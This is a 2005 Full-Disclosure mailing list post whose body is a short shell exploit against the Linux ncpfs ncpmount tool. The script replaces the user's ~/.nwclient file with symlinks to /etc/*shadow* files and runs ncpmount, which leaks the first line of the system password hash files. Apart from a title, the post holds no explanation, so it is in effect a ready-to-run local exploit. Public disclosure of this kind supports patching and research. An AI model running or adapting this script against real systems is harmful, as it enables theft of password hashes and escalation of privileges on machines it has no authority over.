[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-Disclosure] super[0]: Linux ncpfs local
From:       Derek Callaway <super () innu ! org>
Date:       2005-01-30 19:48:00
Message-ID: Pine.GSO.4.58.0501301447370.24066 () fatboy ! ethernet ! org
[Download RAW message or body]

#!/bin/sh
(echo  'head1 by super'
  echo -e '==============\n'
  (function head1(){
    (local -r MNTDIR=~/mnt.$$
      (mv ~/.nwclient ~/.nwclient.temp
        ln -sf $1 ~/.nwclient
        mkdir $MNTDIR)2>/dev/null
      (echo $1
        ncpmount $MNTDIR
        echo)
      (rmdir $MNTDIR
        rm ~/.nwclient
        mv .nwclient.temp .nwclient)2>/dev/null)}
  (for i in /etc/*shadow*
    do head1 $i
    done)))#
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic